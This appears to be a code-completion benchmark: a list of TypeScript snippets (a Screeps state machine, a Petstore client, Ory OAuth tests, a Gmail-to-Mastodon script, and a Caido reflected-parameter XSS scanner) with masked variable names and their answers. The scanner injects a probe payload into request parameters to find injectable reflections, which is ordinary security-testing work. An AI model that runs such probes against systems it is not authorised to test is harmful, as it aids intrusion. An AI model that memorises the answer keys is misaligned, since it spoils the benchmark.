    if (lore === undefined || lore[0] === undefined) {
      return { width: 0, height: 0, length: 0 };
    }

    var data = JSON.parse(lore[0]);

    console.warn(""lore: "" + lore[0]);

    return data;
  }

  private setAdminPickData(itemStack: ItemStack, data: any) {
    var lore = itemStack.getLore();

    console.warn(JSON.stringify(data));

    if (lore === undefined) {
      lore = [];
    }

    lore[0] = JSON.stringify(data);

    itemStack.setLore(lore);
  }
}
",perm
740,"import { StateType, States } from ""./States"";

export interface State {
  enter?(creep: Creep): void;
  execute(creep: Creep): boolean;
  exit?(creep: Creep): void;
  priority: number;
}

export interface Transition {
  from: StateType | null;
  to: StateType;
  condition(creep: Creep): boolean;
  execute?(creep: Creep): boolean;
}

export class StateMachine {
  protected transitions: Transition[] = [];

  public update(creep: Creep): void {
    let state: State | null = null;
    if (creep.memory.state) {
      state = States[creep.memory.state];
    }
    const  [MASK]  = this.transitions.filter(t => t.from === creep.memory.state || t.from === null);

    if (state?.priority) {
       [MASK] .filter(t => States[t.to].priority <= state!.priority);
    }

     [MASK] .sort((a, b) => States[a.to].priority - States[b.to].priority);

    const transition =  [MASK] .find(t => t.condition(creep));
    if (transition) {
      // Exit the current state
      state?.exit?.(creep);

      // Switch to the new state
      if (transition.execute && !transition.execute?.(creep)) {
        creep.memory.state = null;
        throw Error(""Transition failed!"");
      }

      // Enter the new state
      creep.memory.state = transition.to;
      state = States[creep.memory.state];
      state.enter?.(creep);
    }

    if (!state?.execute(creep)) {
      state?.exit?.(creep);
      creep.memory.state = null;
    }
  }
}
",possibleTransitions
741,"// Type and interface imports
import { User } from '../types/globalTypes';

// Base url for the Swagger Petstore API (https://petstore.swagger.io)
const BASE_URL = 'https://petstore.swagger.io/v2';

// Custom type for input Order object value to place an order for a Pet
type OrderInput = {
  id: number;
  petId: number;
  quantity: number;
};

// Custom type for input Pet object value to update a Pet, only id is non-nullable
type PetInput = {
  id: number;
  name?: string;
  status?: string;
};

// GET route to return all pets regardless of status
export const getAllPets = () => fetch(`${BASE_URL}/pet/findByStatus?status=available&status=pending&status=sold`);

// POST route to update a Pet with the new pet data
export const updateAPet = ( [MASK] : PetInput) =>
  fetch(`${BASE_URL}/pet/${ [MASK] .id}?name=${ [MASK] .name}&status=${ [MASK] .status}`, {
    method: 'POST',
  });

// POST route to purchase a Pet with order data
export const placeAnOrder = (orderData: OrderInput) =>
  fetch(`${BASE_URL}/store/order`, {
    method: 'POST',
    headers: { 'Content-Type': 'application/json' },
    body: JSON.stringify({ ...orderData, status: 'placed', complete: true }),
  });

// GET route to login a user with object value containing username and password
export const loginUser = (newUser: User) =>
  fetch(`${BASE_URL}/user/login?username=${newUser.username}&status=${newUser.password}`);

// GET route to logout a user
export const logoutUser = () => fetch(`${BASE_URL}/user/logout`);
",newPetData
742,"// Copyright © 2025 Ory Corp

import { describe, it, expect, vi, beforeEach, afterEach } from 'vitest';
import { OryProvider, OryOptions } from './index.js';
import { OAuthClientInformationFull, OAuthTokens } from '@modelcontextprotocol/sdk/shared/auth.js';
import { ServerError, InvalidTokenError } from '@modelcontextprotocol/sdk/server/auth/errors.js';
import { Response } from 'express';

// Mock global fetch
const mockFetch = vi.fn();

describe('OryProvider', () => {
  const mockClient: OAuthClientInformationFull = {
    client_id: 'test-client',
    client_secret: 'test-secret',
    redirect_uris: ['http://localhost:3000/callback'],
    scope: 'openid profile email offline_access',
    grant_types: ['authorization_code', 'refresh_token'],
    response_types: ['code'],
    token_endpoint_auth_method: 'client_secret_basic',
  };

  const baseMockOptions: OryOptions = {
    endpoints: {
      authorizationUrl: 'https://auth.example.com/oauth2/auth',
      tokenUrl: 'https://auth.example.com/oauth2/token',
      revocationUrl: 'https://auth.example.com/oauth2/revoke',
      registrationUrl: 'https://auth.example.com/clients',
    },
    providerType: 'network',
    networkProjectUrl: 'https://network.example.com/admin',
    networkProjectApiKey: 'network-api-key',
  };

  let provider: OryProvider;

  beforeEach(() => {
    vi.resetAllMocks(); // Resets all mocks
    global.fetch = mockFetch; // Re-assign mock fetch before each test
    provider = new OryProvider(baseMockOptions);
  });

  afterEach(() => {
    delete (global as { fetch?: typeof fetch }).fetch; // Clean up global fetch
  });

  describe('constructor', () => {
    it('should initialize with network provider type and default properties', () => {
      expect(provider).toBeDefined();
      expect(provider.skipLocalPasswordGrant).toBe(false);
      expect(provider.skipLocalPkceValidation).toBe(true);
      expect(provider['_providerType']).toBe('network');
      expect(provider['_networkProjectUrl']).toBe(baseMockOptions.networkProjectUrl);
      expect(provider['_networkProjectApiKey']).toBe(baseMockOptions.networkProjectApiKey);
      expect(provider.revokeToken).toBeDefined();
    });

    it('should initialize with hydra provider type', () => {
      const hydraOptions: OryOptions = {
        ...baseMockOptions,
        providerType: 'hydra',
        hydraAdminUrl: 'https://hydra.example.com/admin',
        hydraApiKey: 'hydra-api-key',
        networkProjectUrl: undefined,
        networkProjectApiKey: undefined,
      };
      const hydraProvider = new OryProvider(hydraOptions);
      expect(hydraProvider).toBeDefined();
      expect(hydraProvider['_providerType']).toBe('hydra');
      expect(hydraProvider['_hydraAdminUrl']).toBe(hydraOptions.hydraAdminUrl);
      expect(hydraProvider['_hydraApiKey']).toBe(hydraOptions.hydraApiKey);
    });

    it('should not define revokeToken if revocationUrl is not provided', () => {
      const optionsWithoutRevoke: OryOptions = {
        ...baseMockOptions,
        endpoints: { ...baseMockOptions.endpoints, revocationUrl: undefined },
      };
      const p = new OryProvider(optionsWithoutRevoke);
      expect(p.revokeToken).toBeUndefined();
    });
  });

  describe('clientsStore', () => {
    it('should have getClient method', () => {
      expect(typeof provider.clientsStore.getClient).toBe('function');
    });

    it('should have registerClient method if registrationUrl is provided', () => {
      const registerClient = provider.clientsStore.registerClient?.bind(provider.clientsStore);
      expect(registerClient).toBeDefined();
    });

    it('registerClient should be undefined if registrationUrl is not provided', () => {
      const optionsWithoutReg: OryOptions = {
        ...baseMockOptions,
        endpoints: { ...baseMockOptions.endpoints, registrationUrl: undefined },
      };
      const p = new OryProvider(optionsWithoutReg);
      const registerClient = p.clientsStore.registerClient?.bind(p.clientsStore);
      expect(registerClient).toBeUndefined();
    });

    describe('registerClient', () => {
      const newClientData: OAuthClientInformationFull = {
        ...mockClient,
        client_id: 'new-client',
      };

      it('should register client successfully', async () => {
        mockFetch.mockResolvedValueOnce({
          ok: true,
          status: 201,
          json: () => newClientData,
        });
        const registeredClient = await provider.clientsStore.registerClient?.(newClientData);
        expect(mockFetch).toHaveBeenCalledWith(
          baseMockOptions.endpoints.registrationUrl,
          expect.any(Object)
        );
        expect(registeredClient).toEqual(newClientData);
      });

      it('should throw ServerError if registration fails', async () => {
        mockFetch.mockResolvedValueOnce({
          ok: false,
          status: 500,
          statusText: 'Server Error',
        });
        await expect(provider.clientsStore.registerClient?.(newClientData)).rejects.toThrow(
          new ServerError('Client registration failed: 500')
        );
      });
    });
  });

  describe('getClient', () => {
    it('should fetch and return client information for network provider', async () => {
      mockFetch.mockResolvedValueOnce({
        ok: true,
        status: 200,
        json: () => [mockClient],
      });
      const result = await provider.getClient('test-client');
      expect(mockFetch).toHaveBeenCalledWith(
        `${baseMockOptions.networkProjectUrl}/admin/clients`,
        expect.any(Object)
      );
      expect(result).toEqual(mockClient);
    });

    it('should fetch and return client information for hydra provider', async () => {
      const hydraOptions: OryOptions = {
        ...baseMockOptions,
        providerType: 'hydra',
        hydraAdminUrl: 'https://hydra.example.com/admin',
        hydraApiKey: 'hydra-api-key',
      };
      const hydraProvider = new OryProvider(hydraOptions);
      mockFetch.mockResolvedValueOnce({
        ok: true,
        status: 200,
        json: () => [mockClient],
      });
      const result = await hydraProvider.getClient('test-client');
      expect(mockFetch).toHaveBeenCalledWith(
        `${hydraOptions.hydraAdminUrl}/admin/clients`,
        expect.any(Object)
      );
      expect(result).toEqual(mockClient);
    });

    it('should return undefined for non-existent client', async () => {
      mockFetch.mockResolvedValueOnce({
        ok: true,
        status: 200,
        json: () => [],
      });
      const result = await provider.getClient('non-existent-client');
      expect(result).toBeUndefined();
    });

    it('should throw error if networkProjectUrl is missing for network provider', async () => {
      const optionsNoUrl = { ...baseMockOptions, networkProjectUrl: undefined };
      const p = new OryProvider(optionsNoUrl);
      await expect(p.getClient('test-client')).rejects.toThrow(
        'Network project URL is required for network provider type'
      );
    });

    it('should throw error if hydraAdminUrl is missing for hydra provider', async () => {
      const optionsNoUrl: OryOptions = {
        ...baseMockOptions,
        providerType: 'hydra',
        hydraAdminUrl: undefined,
      };
      const p = new OryProvider(optionsNoUrl);
      await expect(p.getClient('test-client')).rejects.toThrow(
        'Hydra admin URL is required for hydra provider type'
      );
    });

    it('should throw error if fetch fails', async () => {
      mockFetch.mockResolvedValueOnce({
        ok: false,
        status: 500,
        statusText: 'Server Error',
      });
      await expect(provider.getClient('test-client')).rejects.toThrow(
        'Failed to list OAuth2 clients: Server Error'
      );
    });
  });

  describe('verifyAccessToken', () => {
    const mockIntrospectionResponseBase = {
      scope: mockClient.scope,
      exp: Math.floor(Date.now() / 1000) + 3600,
    };

    it('should verify token and return auth info for network provider', async () => {
      mockFetch
        .mockResolvedValueOnce({
          // For introspectToken
          ok: true,
          status: 200,
          json: () => ({
            ...mockIntrospectionResponseBase,
            active: true,
            client_id: mockClient.client_id,
          }),
        })
        .mockResolvedValueOnce({
          // For listOAuth2Clients -> fetchClients
          ok: true,
          status: 200,
          json: () => [mockClient],
        });

      const result = await provider.verifyAccessToken('test-token');
      expect(result).toEqual({
        token: 'test-<PASSWORD>',
        clientId: mockClient.client_id,
        scopes: (mockClient.scope || '').split(' '),
        expiresAt: mockIntrospectionResponseBase.exp,
      });
      expect(mockFetch.mock.calls.length).toBe(2);
      expect(mockFetch.mock.calls[1][0]).toBe(`${baseMockOptions.networkProjectUrl}/admin/clients`);
    });

    it('should verify token and return auth info for hydra provider', async () => {
      const hydraOptions: OryOptions = {
        ...baseMockOptions,
        providerType: 'hydra',
        hydraAdminUrl: 'https://hydra.example.com/admin',
        hydraApiKey: 'hydra-api-key',
      };
      const hydraProvider = new OryProvider(hydraOptions);
      mockFetch
        .mockResolvedValueOnce({
          // For introspectToken
          ok: true,
          status: 200,
          json: () => ({
            ...mockIntrospectionResponseBase,
            active: true,
            client_id: mockClient.client_id,
          }),
        })
        .mockResolvedValueOnce({
          // For listOAuth2Clients -> fetchClients
          ok: true,
          status: 200,
          json: () => [mockClient],
        });

      const result = await hydraProvider.verifyAccessToken('test-token');
      expect(mockFetch.mock.calls.length).toBe(2);
      expect(mockFetch.mock.calls[1][0]).toBe(`${hydraOptions.hydraAdminUrl}/admin/clients`);
      expect(result.clientId).toBe(mockClient.client_id);
    });

    it('should throw error if token is not active', async () => {
      mockFetch.mockResolvedValueOnce({
        // For introspectToken (token inactive)
        ok: true,
        status: 200,
        json: () => ({
          ...mockIntrospectionResponseBase,
          active: false,
          client_id: mockClient.client_id,
        }),
      });

      await expect(provider.verifyAccessToken('inactive-token')).rejects.toThrow(
        new InvalidTokenError('Token is not active')
      );
      expect(mockFetch.mock.calls.length).toBe(1);
    });

    it('should throw error if client ID mismatch', async () => {
      mockFetch
        .mockResolvedValueOnce({
          // For introspectToken (token is active, but for original mockClient.client_id)
          ok: true,
          status: 200,
          json: () => ({
            ...mockIntrospectionResponseBase,
            active: true,
            client_id: mockClient.client_id,
          }),
        })
        .mockResolvedValueOnce({
          // For listOAuth2Clients -> fetchClients (returns a different client)
          ok: true,
          status: 200,
          json: () => [{ ...mockClient, client_id: 'another-client-id' }],
        });

      await expect(provider.verifyAccessToken('test-token')).rejects.toThrow(
        new InvalidTokenError('Token client ID mismatch')
      );
      expect(mockFetch.mock.calls.length).toBe(2);
    });

    it('should throw error if introspection fails', async () => {
      mockFetch.mockResolvedValueOnce({
        // For introspectToken (network or server error)
        ok: false,
        status: 500,
        statusText: 'Introspection Error',
      });

      await expect(provider.verifyAccessToken('test-token')).rejects.toThrow(
        'Token introspection failed: Introspection Error'
      );
      expect(mockFetch.mock.calls.length).toBe(1);
    });
  });

  describe('authorize', () => {
    const mockRedirectFn = vi.fn();
    const mockRes = { redirect: mockRedirectFn } as unknown as Response;
    const authParams = {
      redirectUri: 'http://localhost:3000/callback',
      codeChallenge: 'challenge',
      scopes: ['openid', 'profile'],
      state: 'state123',
    };

    beforeEach(() => {
      mockRedirectFn.mockClear();
    });

    it('should redirect to authorizationUrl with correct parameters', async () => {
      await provider.authorize(mockClient, authParams, mockRes);
      const expectedUrl = new URL(baseMockOptions.endpoints.authorizationUrl);
      expectedUrl.searchParams.set('client_id', mockClient.client_id);
      expectedUrl.searchParams.set('response_type', 'code');
      expectedUrl.searchParams.set('redirect_uri', authParams.redirectUri);
      expectedUrl.searchParams.set('code_challenge', authParams.codeChallenge);
      expectedUrl.searchParams.set('code_challenge_method', 'S256');
      expectedUrl.searchParams.set('state', authParams.state);
      expectedUrl.searchParams.set('scope', authParams.scopes.join(' '));
      expect(mockRedirectFn).toHaveBeenCalledWith(expectedUrl.toString());
    });

    it('should generate state if not provided', async () => {
      const paramsNoState = { ...authParams, state: undefined };
      await provider.authorize(mockClient, paramsNoState, mockRes);
      const  [MASK]  = mockRedirectFn.mock.calls[0][0] as string;
      expect(new URL( [MASK] ).searchParams.get('state')).toBeDefined();
    });
  });

  describe('exchangeAuthorizationCode', () => {
    const mockTokens: OAuthTokens = {
      access_token: 'acc_token',
      token_type: 'Bearer',
      expires_in: 3600,
    };

    it('should exchange authorization code for tokens', async () => {
      mockFetch.mockResolvedValueOnce({
        ok: true,
        status: 200,
        json: () => mockTokens,
      });
      const result = await provider.exchangeAuthorizationCode(mockClient, 'auth-code', 'verifier');
      expect(mockFetch).toHaveBeenCalledWith(
        baseMockOptions.endpoints.tokenUrl,
        expect.any(Object)
      );
      expect(result).toEqual(mockTokens);
    });

    it('should throw ServerError if exchange fails', async () => {
      mockFetch.mockResolvedValueOnce({
        ok: false,
        status: 400,
        statusText: 'Bad Request',
      });
      await expect(provider.exchangeAuthorizationCode(mockClient, 'auth-code')).rejects.toThrow(
        new ServerError('Token exchange failed: 400')
      );
    });
  });

  describe('exchangeRefreshToken', () => {
    const mockTokens: OAuthTokens = {
      access_token: 'new_acc_token',
      token_type: 'Bearer',
      expires_in: 3600,
    };

    it('should exchange refresh token for tokens', async () => {
      mockFetch.mockResolvedValueOnce({
        ok: true,
        status: 200,
        json: () => mockTokens,
      });
      const result = await provider.exchangeRefreshToken(mockClient, 'refresh-token', ['openid']);
      expect(mockFetch).toHaveBeenCalledWith(
        baseMockOptions.endpoints.tokenUrl,
        expect.any(Object)
      );
      expect(result).toEqual(mockTokens);
    });

    it('should throw ServerError if refresh fails', async () => {
      mockFetch.mockResolvedValueOnce({
        ok: false,
        status: 401,
        statusText: 'Unauthorized',
      });
      await expect(provider.exchangeRefreshToken(mockClient, 'refresh-token')).rejects.toThrow(
        new ServerError('Token refresh failed: 401')
      );
    });
  });

  describe('revokeToken', () => {
    it('should revoke token successfully', async () => {
      mockFetch.mockResolvedValueOnce({ ok: true, status: 200 });
      await provider.revokeToken?.(mockClient, { token: 'test-token' });
      expect(mockFetch).toHaveBeenCalledWith(
        baseMockOptions.endpoints.revocationUrl,
        expect.any(Object)
      );
    });

    it('should throw ServerError if revocation fails', async () => {
      mockFetch.mockResolvedValueOnce({
        ok: false,
        status: 500,
        statusText: 'Server Error',
      });
      await expect(provider.revokeToken?.(mockClient, { token: 'test-token' })).rejects.toThrow(
        new ServerError('Token revocation failed: 500')
      );
    });
  });
});
",redirectUrl
743,"export interface Gmail2MastodonSettingFile {
  /**
   * max Toot length on your instance
   */
  maxTootLength?: number;
  /**
   * E-Mail adresses that you want to notify
   */
  targetEMailAdresses?: string[];
  /**
   * The mastodon instance this bot use
   */
  mastodonInstance?: string;
  /**
   * Your userid that recive notification
   */
  mastodonReciveUserId?: string;
}

interface DateLike {
  /** Gets the year using Universal Coordinated Time (UTC). */
  getUTCFullYear(): number;
  /** Gets the month of a Date object using Universal Coordinated Time (UTC). */
  getUTCMonth(): number;
  /** Gets the day-of-the-month, using Universal Coordinated Time (UTC). */
  getUTCDate(): number;
  /** Gets the day of the week using Universal Coordinated Time (UTC). */
  getUTCDay(): number;
  /** Gets the hours value in a Date object using Universal Coordinated Time (UTC). */
  getUTCHours(): number;
  /** Gets the minutes of a Date object using Universal Coordinated Time (UTC). */
  getUTCMinutes(): number;
  /** Gets the seconds of a Date object using Universal Coordinated Time (UTC). */
  getUTCSeconds(): number;
  /** Gets the time value in milliseconds. */
  getTime(): number;
}

const concatEMailAdresses = (EMailAdresses: string[]) => EMailAdresses.join(' OR ');
type DateConstructorArgumentApplyArrayType = [number, number, number?, number?, number?, number?, number?];
const isDateConstructorArgumentApplyArrayType = (
  arr: (number | undefined)[]
): arr is DateConstructorArgumentApplyArrayType =>
  2 <= arr.length &&
  arr.length <= 7 &&
  typeof arr[0] === 'number' &&
  typeof arr[1] === 'number' &&
  arr.every(e => typeof e === 'number' || typeof e === 'undefined');
const strToDate = (s: string) => {
  const splitted = /^(\d{4})\/(\d{1,2})\/(\d{1,2}) (\d{1,2}):(\d{1,2}):(\d{1,2})$/.exec(s);
  if (null == splitted || 7 !== splitted.length) {
    throw new Error(`date format is invalid: ${s}`);
  }
  splitted.shift();
  const parsed = splitted.map(d => parseInt(d));
  if (!isDateConstructorArgumentApplyArrayType(parsed)) {
    throw new Error(`date format is invalid: ${s}`);
  }
  parsed[1] -= 1;
  return new Date(Date.UTC.apply(null, parsed));
};
const dateToStr = (d: DateLike) =>
  `${d.getUTCFullYear()}/${d.getUTCMonth() + 1}/${d.getUTCDate()} ` +
  `${d.getUTCHours()}:${d.getUTCMinutes()}:${d.getUTCSeconds()}`;
const dateToQuery = (d: DateLike) => `${d.getUTCFullYear()}/${d.getUTCMonth() + 1}/${d.getUTCDate()}`;
//https://github.com/yumetodo/es-string-algorithm/blob/3a79d4e0c01096fab89cdf93db6dac2e27f31e13/src/index.ts#L129
//https://qiita.com/YusukeHirao/items/2f0fb8d5bbb981101be0#iv-ii-%E3%82%B5%E3%83%AD%E3%82%B2%E3%83%BC%E3%83%88%E3%83%9A%E3%82%A2%E3%81%AB%E5%AF%BE%E5%BF%9C%E3%81%97%E3%81%9F%E9%85%8D%E5%88%97%E5%8C%96
/**
 * Create part of the `s`
 * @param s string
 * @param pos copy start position
 * @param n copy length
 * @returns part of the `s` in range of `[pos...rlast]` (`rlast` is the smaller of `pos + n` and `std.size(s)`)
 * @throws {RangeError} When `pos` or `n` is negative or `pos` > `std.size(s)`
 */
const substr = (s: string, pos = 0, n?: number): string => {
  if (pos < 0) {
    throw new RangeError('std.substr: pos < 0');
  }
  if (typeof n === 'number' && n < 0) {
    throw new RangeError('std.substr: n < 0');
  }
  const arr = s.match(/[\uD800-\uDBFF][\uDC00-\uDFFF]|[^\uD800-\uDFFF]/g) || [];
  if (arr.length < pos) {
    throw new RangeError(`std.substr: pos (which is ${pos}) > std.size(s) (which is ${arr.length})`);
  }
  return arr.slice(pos, typeof n === 'number' ? pos + n : undefined).join('');
};
const getFile = (parentName: string, name: string) => {
  const files = DriveApp.searchFiles(`title = ""${name}""`);
  while (files.hasNext()) {
    const file = files.next();
    if (name !== file.getName()) continue;
    //gmail2mastodon_settings
    const parents = file.getParents();
    if (!parents.hasNext()) continue;
    const parent = parents.next();
    if (parentName === parent.getName()) return file;
  }
  throw new Error('no such file: ');
};
const readJson = (parentName = 'gmail2mastodon_settings', jsonName = 'setting.json') => {
  const file = getFile(parentName, jsonName);
  const content = file.getBlob().getDataAsString();
  if (!content) return;
  return JSON.parse(content);
};
export function main() {
  const properties = PropertiesService.getScriptProperties();
  const lastDateStr = properties.getProperty('lastDate');
  if (null == lastDateStr) {
    console.error('missing lastDate');
    return -1;
  }
  const lastDate = strToDate(lastDateStr);
  const mastodonToken = ScriptProperties.getProperty('mastodonToken');
  if (null == mastodonToken) {
    console.error('missing mastodonToken');
    return -1;
  }
  const setting: Gmail2MastodonSettingFile = readJson();
  if (
    null == setting.targetEMailAdresses ||
    null == setting.mastodonReciveUserId ||
    null == setting.mastodonInstance ||
    null == setting.maxTootLength
  ) {
    console.error('invalid setting file');
    return -1;
  }
  const query = `is:unread after:${dateToQuery(lastDate)} from:(${concatEMailAdresses(setting.targetEMailAdresses)})`;
  const threads = GmailApp.search(query);
  const  [MASK]  = Date.now();
  const messages = GmailApp.getMessagesForThreads(threads);
  for (const t of messages) {
    for (const m of t) {
      if (!m.isUnread() || m.getDate().getTime() < lastDate.getTime()) continue;
      const postTextRaw =
        setting.mastodonReciveUserId + '\\n' + `${dateToStr(m.getDate())} ${m.getSubject()}` + '\\n' + m.getBody();
      // limit content length by maxTootLength
      const postTextRawLimitted = substr(postTextRaw.replace(/\r/g, ''), 0, setting.maxTootLength);
      const postText = postTextRawLimitted.substring(0, postTextRawLimitted.lastIndexOf('\n')).replace(/\n/g, '\\n');
      const payload = `{""status"":""${postText}"",""visibility"":""direct""}`;
      UrlFetchApp.fetch(`https://${setting.mastodonInstance}/api/v1/statuses`, {
        method: 'post',
        contentType: 'application/json',
        payload: payload,
        headers: { Authorization: 'Bearer ' + mastodonToken },
      });
    }
  }
  properties.setProperty('lastDate', dateToStr(new Date( [MASK] )));
}
",nextLastDate
744,"import { HttpInput, SDK, Data, RequestSpec } from ""@caido/sdk-workflow"";

interface ReflectedParameter {
  name: string;
  matches: Array<[number, number]>;
  context: string;
  aggressive?: string[];
  source?: string;
}

interface RequestParameter {
  key: string;
  value: string;
  source: string;
  method: string;
}

const commonAnalyticsHosts = [
  ""google-analytics.com"",
  ""optimizely.com"",
  ""intercom.io"",
  ""hotjar.com"",
  ""segment.com"",
  ""facebook.com"",
  ""sentry.io"",
  ""doubleclick.net"",
  ""adservice.google.com"",
  ""heapanalytics.com"",
  ""ping.chartbeat.net"",
  ""scripts.kissmetrics.com"",
  ""optimizely.com"",
  ""2.rto.microsoft.com"",
  ""0stats.com"",
  ""ucs.query.yahoo.com"",
  ""udc.yahoo.com"",
  ""shavar.services.mozilla.com"",
  ""download.mozilla.org"",
  ""services.addons.mozilla.org"",
  ""classify-client.services.mozilla.com"",
  ""location.services.mozilla.com"",
  ""download-stats.mozilla.org"",
  ""firefox.settings.services.mozilla.com"",
  ""firefox-settings-attachments.cdn.mozilla.net"",
  ""detectportal.firefox.com"",
  ""versioncheck.addons.mozilla.org"",
  ""aus5.mozilla.org"",
  ""incoming.telemetry.mozilla.org"",
  ""fhr.cdn.mozilla.net"",
  ""analytics.tiktok.com"",
  ""mssdk-va.tiktok.com"",
];

const commonAnalyticsEndpoints = [""/socket.io/""];

/**
 * @param {HttpInput} input
 * @param {SDK} sdk
 * @returns {MaybePromise<Data | undefined>}
 */
export async function run(
  input: HttpInput,
  sdk: SDK
): Promise<Data | undefined> {
  const { request, response } = input;

  if (!request || !response) {
    sdk.console.log(""Skipping scan - request or response is missing"");
    return;
  }

  const contentType = response.getHeader(""Content-Type"");
  if (!contentType || !contentType.toString().includes(""text/html"")) {
    sdk.console.log(""Skipping scan - response is not HTML"");
    return [];
  }

  const reqMethod = request.getMethod();
  if (reqMethod !== ""GET"" && reqMethod !== ""POST"") {
    sdk.console.log(""Skipping scan - request method is not GET or POST"");
    return;
  }

  for (const analytics of commonAnalyticsHosts) {
    if (request.getHost().includes(analytics)) {
      sdk.console.log(""Skipping scan - common analytics URL"");
      return;
    }
  }

  for (const analytics of commonAnalyticsEndpoints) {
    if (request.getPath().includes(analytics)) {
      sdk.console.log(""Skipping scan - common analytics URL"");
      return;
    }
  }

  sdk.console.log(""====================================="");
  const reflectedParameters = await checkReflection(input, sdk);

  if (reflectedParameters.length > 0) {
    sdk.console.log(
      `Found ${reflectedParameters.length} reflected parameter(s)`
    );

    let details = ""The following parameters were reflected in the response:\n"";
    details += ""--------\n"";
    reflectedParameters.forEach((param) => {
      details += generateReport(param) + ""\n"";
    });

    sdk.console.log(""Creating finding:"");
    sdk.console.log(details);

    await sdk.findings.create({
      title: ""Reflected parameters"",
      reporter: ""Reflector"",
      request,
      description: details,
    });
  } else {
    sdk.console.log(""No reflected parameters found"");
  }
}

const generateReport = (reflectedParamter: ReflectedParameter) => {
  const { name, matches, context, aggressive, source } = reflectedParamter;

  let details = `${name} - reflected ${matches.length} time(s)`;

  if (context) details += ` in ${context}`;
  if (aggressive) details += ` and allows ${aggressive.join("" "")} characters`;
  if (source) details += ` (source: ${source})`;

  return details;
};

const getRequestParameters = (requestSpec: RequestSpec) => {
  const requestParameters: RequestParameter[] = [];

  const urlParams = requestSpec.getQuery().split(""&"");
  urlParams.forEach((param) => {
    const [key, value] = param.split(""="");
    requestParameters.push({
      key,
      value,
      source: ""URL"",
      method: requestSpec.getMethod(),
    });
  });

  if (requestSpec.getMethod() === ""POST"" && requestSpec.getBody()) {
    const body = requestSpec.getBody();
    if (!body) return requestParameters;

    const contentType = requestSpec.getHeader(""Content-Type"");
    if (!contentType || contentType.length == 0) return requestParameters;

    if (contentType[0].includes(""application/x-www-form-urlencoded"")) {
      const bodyParams = body.toText().split(""&"");
      bodyParams.forEach((param) => {
        const [key, value] = param.split(""="");
        requestParameters.push({
          key,
          value,
          source: ""BODY"",
          method: requestSpec.getMethod(),
        });
      });
    }
  }
  return requestParameters;
};

async function checkReflection(
  input: HttpInput,
  sdk: SDK
): Promise<ReflectedParameter[]> {
  const { request, response } = input;
  if (!request || !response) {
    sdk.console.log(""Skipping scan - request or response is missing"");
    return [];
  }

  sdk.console.log(""Checking query parameters for reflection..."");

  const requestParameters = getRequestParameters(request.toSpec());
  const reflectedParameters: ReflectedParameter[] = [];

  if (requestParameters.length === 0) {
    sdk.console.log(""No query parameters found"");
    return reflectedParameters;
  }

  for (const param of requestParameters) {
    sdk.console.log(`-------`);

    sdk.console.log(
      `Checking parameter ""${param.key}"" (source: ${param.source})`
    );

    //TODO: add support if theres no value
    if (!param.value || param.value.length === 0) {
      sdk.console.log(`Skipping parameter ""${param.key}"" - no value provided`);
      continue;
    }

    const matches = findMatches(response.getBody()?.toText(), param.value);
    sdk.console.log(`Found ${matches.length} reflection(s) for ""${param.key}""`);

    if (matches.length > 0) {
      sdk.console.log(`Parameter ""${param.key}"" reflected in response`);

      const aggressiveResult = await isVulnerable(request.toSpec(), param, sdk);
      if (aggressiveResult.matches.length > 0) {
        reflectedParameters.push({
          name: param.key,
          matches: aggressiveResult.matches,
          context: aggressiveResult.context,
          aggressive: aggressiveResult.chars,
          source: param.source,
        });
      }
    }
  }

  return reflectedParameters;
}

const queryToString = (query: { [key: string]: string }) => {
  return Object.entries(query)
    .map(([name, value]) => `${name}=${value}`)
    .join(""&"");
};

const parseQueryString = (query: string) => {
  const params = {};
  query.split(""&"").forEach((param) => {
    const [name, value] = param.split(""="");
    params[name] = value;
  });
  return params;
};

async function isVulnerable(
  requestSpec: RequestSpec,
  param: RequestParameter,
  sdk: SDK
) {
  const PAYLOAD = ""_REFLECTION_TEST<\""'"";

  if (param.source === ""URL"") {
    const query = parseQueryString(requestSpec.getQuery());
    query[param.key] = PAYLOAD;
    requestSpec.setQuery(queryToString(query));
  }

  if (param.source === ""BODY"" && requestSpec.getBody()) {
    const body = requestSpec.getBody()?.toText();
    if (!body)
      return { vulnerable: false, chars: [], context: """", matches: [] };

    const query = parseQueryString(body);
    query[param.key] = PAYLOAD;

    requestSpec.setBody(queryToString(query));
  }

  sdk.console.log(`Sending aggressive request for parameter ""${param.key}""`);
  const result = await sdk.requests.send(requestSpec);
  sdk.console.log(`Received response for parameter ""${param.key}""`);

  const responseBody = result.response.getBody()?.toText();
  if (!responseBody)
    return { vulnerable: false, chars: [], context: """", matches: [] };

  const matches = findMatches(responseBody, PAYLOAD);
  sdk.console.log(`${JSON.stringify(matches)} matches found for payload ${PAYLOAD}`);
  const allowedChars: string[] = [];

  if (
    matches.some(([start, end]: [number, number]) => {
      const snippet = responseBody.slice(start, end);
      return snippet.includes(""<"");
    })
  ) {
    allowedChars.push(""<"");
  }

  if (
    matches.some(([start, end]: [number, number]) => {
      const snippet = responseBody.slice(start, end);
      return snippet.includes(""'"");
    })
  ) {
    allowedChars.push(""'"");
  }

  if (
    matches.some(([start, end]: [number, number]) => {
      const snippet = responseBody.slice(start, end);
      return snippet.includes('""');
    })
  ) {
    allowedChars.push('""');
  }

  const context = getReflectionContext(matches, responseBody);

  sdk.console.log(
    `Aggressive result for ""${param.key}"": ${allowedChars.length}`
  );
  return {
    vulnerable: allowedChars.length > 0,
    chars: allowedChars,
    context,
    matches,
  };
}

function getReflectionContext(matches, body) {
  const CONTEXTS = {
    OUTOFTAG: ""HTML"",
    INTAG: ""In Tag"",
    INTAGQUOTE: 'In Tag Attribute ("") Value',
    INTAGSINGLEQUOTE: ""In Tag Attribute (') Value"",
    INSCRIPT: ""In Script"",
    INSCRIPTQUOTE: 'In Script String ("")',
    INSCRIPTSINGLEQUOTE: ""In Script String (')"",
  };

  for (const [start, end] of matches) {
    const tags = getTags(body);

    const tag = tags.find((tag) => tag.start < start && tag.end > end);
    if (!tag) return CONTEXTS.OUTOFTAG;

    if (tag.name === ""script"") {
      if (inQuotes(body, start, end, tag, '""')) {
        return CONTEXTS.INSCRIPTQUOTE;
      } else if (inQuotes(body, start, end, tag, ""'"")) {
        return CONTEXTS.INSCRIPTSINGLEQUOTE;
      } else {
        return CONTEXTS.INSCRIPT;
      }
    } else {
      if (inQuotes(body, start, end, tag, '""')) {
        return CONTEXTS.INTAGQUOTE;
      } else if (inQuotes(body, start, end, tag, ""'"")) {
        return CONTEXTS.INTAGSINGLEQUOTE;
      } else {
        return CONTEXTS.INTAG;
      }
    }
  }

  return ""BODY"";
}

function inQuotes(body, start, end, tag, quoteChar) {
  let inQuote = false;

  for (let i = tag.start; i < start; i++) {
